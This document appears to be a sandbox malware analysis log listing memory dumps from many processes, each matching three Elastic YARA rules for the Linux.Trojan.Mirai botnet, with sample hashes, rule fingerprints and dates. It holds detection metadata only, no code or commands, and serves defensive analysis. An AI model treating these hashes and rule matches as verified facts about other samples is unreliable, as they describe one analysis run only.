Source: 6820.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_cc93863b reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = f3ecd30f0b511a8e92cfa642409d559e7612c3f57a1659ca46c77aca809a00ac, id = cc93863b-1050-40ba-9d02-5ec9ce6a3a28, last_modified = 2022-01-26
Source: 6820.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 02a2c18c362df4b1fceb33f3b605586514ba9a00c7afedf71c04fa54d8146444, id = 8aa7b5d3-e1eb-4b55-b36a-0d3a242c06e9, last_modified = 2022-01-26
Source: 6452.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_389ee3e9 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 59f2359dc1f41d385d639d157b4cd9fc73d76d8abb7cc09d47632bb4c9a39e6e, id = 389ee3e9-70c1-4c93-a999-292cf6ff1652, last_modified = 2022-01-26
Source: 6452.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_cc93863b reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = f3ecd30f0b511a8e92cfa642409d559e7612c3f57a1659ca46c77aca809a00ac, id = cc93863b-1050-40ba-9d02-5ec9ce6a3a28, last_modified = 2022-01-26
Source: 6452.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 02a2c18c362df4b1fceb33f3b605586514ba9a00c7afedf71c04fa54d8146444, id = 8aa7b5d3-e1eb-4b55-b36a-0d3a242c06e9, last_modified = 2022-01-26
Source: 6819.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_389ee3e9 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 59f2359dc1f41d385d639d157b4cd9fc73d76d8abb7cc09d47632bb4c9a39e6e, id = 389ee3e9-70c1-4c93-a999-292cf6ff1652, last_modified = 2022-01-26
Source: 6819.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_cc93863b reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = f3ecd30f0b511a8e92cfa642409d559e7612c3f57a1659ca46c77aca809a00ac, id = cc93863b-1050-40ba-9d02-5ec9ce6a3a28, last_modified = 2022-01-26
Source: 6819.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 02a2c18c362df4b1fceb33f3b605586514ba9a00c7afedf71c04fa54d8146444, id = 8aa7b5d3-e1eb-4b55-b36a-0d3a242c06e9, last_modified = 2022-01-26
Source: 7085.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_389ee3e9 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 59f2359dc1f41d385d639d157b4cd9fc73d76d8abb7cc09d47632bb4c9a39e6e, id = 389ee3e9-70c1-4c93-a999-292cf6ff1652, last_modified = 2022-01-26
Source: 7085.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_cc93863b reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = f3ecd30f0b511a8e92cfa642409d559e7612c3f57a1659ca46c77aca809a00ac, id = cc93863b-1050-40ba-9d02-5ec9ce6a3a28, last_modified = 2022-01-26
Source: 7085.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 02a2c18c362df4b1fceb33f3b605586514ba9a00c7afedf71c04fa54d8146444, id = 8aa7b5d3-e1eb-4b55-b36a-0d3a242c06e9, last_modified = 2022-01-26
Source: 7329.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_389ee3e9 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 59f2359dc1f41d385d639d157b4cd9fc73d76d8abb7cc09d47632bb4c9a39e6e, id = 389ee3e9-70c1-4c93-a999-292cf6ff1652, last_modified = 2022-01-26
Source: 7329.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_cc93863b reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = f3ecd30f0b511a8e92cfa642409d559e7612c3f57a1659ca46c77aca809a00ac, id = cc93863b-1050-40ba-9d02-5ec9ce6a3a28, last_modified = 2022-01-26
Source: 7329.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 02a2c18c362df4b1fceb33f3b605586514ba9a00c7afedf71c04fa54d8146444, id = 8aa7b5d3-e1eb-4b55-b36a-0d3a242c06e9, last_modified = 2022-01-26
Source: 6856.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_389ee3e9 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 59f2359dc1f41d385d639d157b4cd9fc73d76d8abb7cc09d47632bb4c9a39e6e, id = 389ee3e9-70c1-4c93-a999-292cf6ff1652, last_modified = 2022-01-26
Source: 6856.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_cc93863b reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = f3ecd30f0b511a8e92cfa642409d559e7612c3f57a1659ca46c77aca809a00ac, id = cc93863b-1050-40ba-9d02-5ec9ce6a3a28, last_modified = 2022-01-26
Source: 6856.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 02a2c18c362df4b1fceb33f3b605586514ba9a00c7afedf71c04fa54d8146444, id = 8aa7b5d3-e1eb-4b55-b36a-0d3a242c06e9, last_modified = 2022-01-26
Source: 7258.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_389ee3e9 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 59f2359dc1f41d385d639d157b4cd9fc73d76d8abb7cc09d47632bb4c9a39e6e, id = 389ee3e9-70c1-4c93-a999-292cf6ff1652, last_modified = 2022-01-26
Source: 7258.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_cc93863b reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = f3ecd30f0b511a8e92cfa642409d559e7612c3f57a1659ca46c77aca809a00ac, id = cc93863b-1050-40ba-9d02-5ec9ce6a3a28, last_modified = 2022-01-26
Source: 7258.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 02a2c18c362df4b1fceb33f3b605586514ba9a00c7afedf71c04fa54d8146444, id = 8aa7b5d3-e1eb-4b55-b36a-0d3a242c06e9, last_modified = 2022-01-26
Source: 6849.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_389ee3e9 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 59f2359dc1f41d385d639d157b4cd9fc73d76d8abb7cc09d47632bb4c9a39e6e, id = 389ee3e9-70c1-4c93-a999-292cf6ff1652, last_modified = 2022-01-26
Source: 6849.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_cc93863b reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = f3ecd30f0b511a8e92cfa642409d559e7612c3f57a1659ca46c77aca809a00ac, id = cc93863b-1050-40ba-9d02-5ec9ce6a3a28, last_modified = 2022-01-26
Source: 6849.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 02a2c18c362df4b1fceb33f3b605586514ba9a00c7afedf71c04fa54d8146444, id = 8aa7b5d3-e1eb-4b55-b36a-0d3a242c06e9, last_modified = 2022-01-26
Source: 6564.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_389ee3e9 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 59f2359dc1f41d385d639d157b4cd9fc73d76d8abb7cc09d47632bb4c9a39e6e, id = 389ee3e9-70c1-4c93-a999-292cf6ff1652, last_modified = 2022-01-26
Source: 6564.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_cc93863b reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = f3ecd30f0b511a8e92cfa642409d559e7612c3f57a1659ca46c77aca809a00ac, id = cc93863b-1050-40ba-9d02-5ec9ce6a3a28, last_modified = 2022-01-26
Source: 6564.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 02a2c18c362df4b1fceb33f3b605586514ba9a00c7afedf71c04fa54d8146444, id = 8aa7b5d3-e1eb-4b55-b36a-0d3a242c06e9, last_modified = 2022-01-26
Source: 6920.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_389ee3e9 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 59f2359dc1f41d385d639d157b4cd9fc73d76d8abb7cc09d47632bb4c9a39e6e, id = 389ee3e9-70c1-4c93-a999-292cf6ff1652, last_modified = 2022-01-26
Source: 6920.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_cc93863b reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = f3ecd30f0b511a8e92cfa642409d559e7612c3f57a1659ca46c77aca809a00ac, id = cc93863b-1050-40ba-9d02-5ec9ce6a3a28, last_modified = 2022-01-26
Source: 6920.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 02a2c18c362df4b1fceb33f3b605586514ba9a00c7afedf71c04fa54d8146444, id = 8aa7b5d3-e1eb-4b55-b36a-0d3a242c06e9, last_modified = 2022-01-26
Source: 6683.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_389ee3e9 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 59f2359dc1f41d385d639d157b4cd9fc73d76d8abb7cc09d47632bb4c9a39e6e, id = 389ee3e9-70c1-4c93-a999-292cf6ff1652, last_modified = 2022-01-26
Source: 6683.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_cc93863b reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = f3ecd30f0b511a8e92cfa642409d559e7612c3f57a1659ca46c77aca809a00ac, id = cc93863b-1050-40ba-9d02-5ec9ce6a3a28, last_modified = 2022-01-26
Source: 6683.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 02a2c18c362df4b1fceb33f3b605586514ba9a00c7afedf71c04fa54d8146444, id = 8aa7b5d3-e1eb-4b55-b36a-0d3a242c06e9, last_modified = 2022-01-26
Source: 6794.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_389ee3e9 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 59f2359dc1f41d385d639d157b4cd9fc73d76d8abb7cc09d47632bb4c9a39e6e, id = 389ee3e9-70c1-4c93-a999-292cf6ff1652, last_modified = 2022-01-26
Source: 6794.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_cc93863b reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = f3ecd30f0b511a8e92cfa642409d559e7612c3f57a1659ca46c77aca809a00ac, id = cc93863b-1050-40ba-9d02-5ec9ce6a3a28, last_modified = 2022-01-26
Source: 6794.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 02a2c18c362df4b1fceb33f3b605586514ba9a00c7afedf71c04fa54d8146444, id = 8aa7b5d3-e1eb-4b55-b36a-0d3a242c06e9, last_modified = 2022-01-26
Source: 7048.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_389ee3e9 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 59f2359dc1f41d385d639d157b4cd9fc73d76d8abb7cc09d47632bb4c9a39e6e, id = 389ee3e9-70c1-4c93-a999-292cf6ff1652, last_modified = 2022-01-26
Source: 7048.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_cc93863b reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = f3ecd30f0b511a8e92cfa642409d559e7612c3f57a1659ca46c77aca809a00ac, id = cc93863b-1050-40ba-9d02-5ec9ce6a3a28, last_modified = 2022-01-26
Source: 7048.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 02a2c18c362df4b1fceb33f3b605586514ba9a00c7afedf71c04fa54d8146444, id = 8aa7b5d3-e1eb-4b55-b36a-0d3a242c06e9, last_modified = 2022-01-26
Source: 6447.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_389ee3e9 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 59f2359dc1f41d385d639d157b4cd9fc73d76d8abb7cc09d47632bb4c9a39e6e, id = 389ee3e9-70c1-4c93-a999-292cf6ff1652, last_modified = 2022-01-26
Source: 6447.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_cc93863b reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = f3ecd30f0b511a8e92cfa642409d559e7612c3f57a1659ca46c77aca809a00ac, id = cc93863b-1050-40ba-9d02-5ec9ce6a3a28, last_modified = 2022-01-26
Source: 6447.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 02a2c18c362df4b1fceb33f3b605586514ba9a00c7afedf71c04fa54d8146444, id = 8aa7b5d3-e1eb-4b55-b36a-0d3a242c06e9, last_modified = 2022-01-26
Source: 7197.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_389ee3e9 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 59f2359dc1f41d385d639d157b4cd9fc73d76d8abb7cc09d47632bb4c9a39e6e, id = 389ee3e9-70c1-4c93-a999-292cf6ff1652, last_modified = 2022-01-26
Source: 7197.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_cc93863b reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = f3ecd30f0b511a8e92cfa642409d559e7612c3f57a1659ca46c77aca809a00ac, id = cc93863b-1050-40ba-9d02-5ec9ce6a3a28, last_modified = 2022-01-26
Source: 7197.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 02a2c18c362df4b1fceb33f3b605586514ba9a00c7afedf71c04fa54d8146444, id = 8aa7b5d3-e1eb-4b55-b36a-0d3a242c06e9, last_modified = 2022-01-26
Source: 6695.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_389ee3e9 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 59f2359dc1f41d385d639d157b4cd9fc73d76d8abb7cc09d47632bb4c9a39e6e, id = 389ee3e9-70c1-4c93-a999-292cf6ff1652, last_modified = 2022-01-26
Source: 6695.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_cc93863b reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = f3ecd30f0b511a8e92cfa642409d559e7612c3f57a1659ca46c77aca809a00ac, id = cc93863b-1050-40ba-9d02-5ec9ce6a3a28, last_modified = 2022-01-26
Source: 6695.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 02a2c18c362df4b1fceb33f3b605586514ba9a00c7afedf71c04fa54d8146444, id = 8aa7b5d3-e1eb-4b55-b36a-0d3a242c06e9, last_modified = 2022-01-26
Source: 6330.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_389ee3e9 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 59f2359dc1f41d385d639d157b4cd9fc73d76d8abb7cc09d47632bb4c9a39e6e, id = 389ee3e9-70c1-4c93-a999-292cf6ff1652, last_modified = 2022-01-26
Source: 6330.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_cc93863b reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = f3ecd30f0b511a8e92cfa642409d559e7612c3f57a1659ca46c77aca809a00ac, id = cc93863b-1050-40ba-9d02-5ec9ce6a3a28, last_modified = 2022-01-26
Source: 6330.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 02a2c18c362df4b1fceb33f3b605586514ba9a00c7afedf71c04fa54d8146444, id = 8aa7b5d3-e1eb-4b55-b36a-0d3a242c06e9, last_modified = 2022-01-26
Source: 7051.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_389ee3e9 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 59f2359dc1f41d385d639d157b4cd9fc73d76d8abb7cc09d47632bb4c9a39e6e, id = 389ee3e9-70c1-4c93-a999-292cf6ff1652, last_modified = 2022-01-26
Source: 7051.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_cc93863b reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = f3ecd30f0b511a8e92cfa642409d559e7612c3f57a1659ca46c77aca809a00ac, id = cc93863b-1050-40ba-9d02-5ec9ce6a3a28, last_modified = 2022-01-26
Source: 7051.1.0000000008048000.000000000805c000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 02a2c18c362df4b1fceb33f3b605586514ba9a00c7afedf71c04fa54d8146444, id = 8aa7b5d3-e1eb-4b55-b36a-0d3a242c06e9, last_modified = 2022-01-26
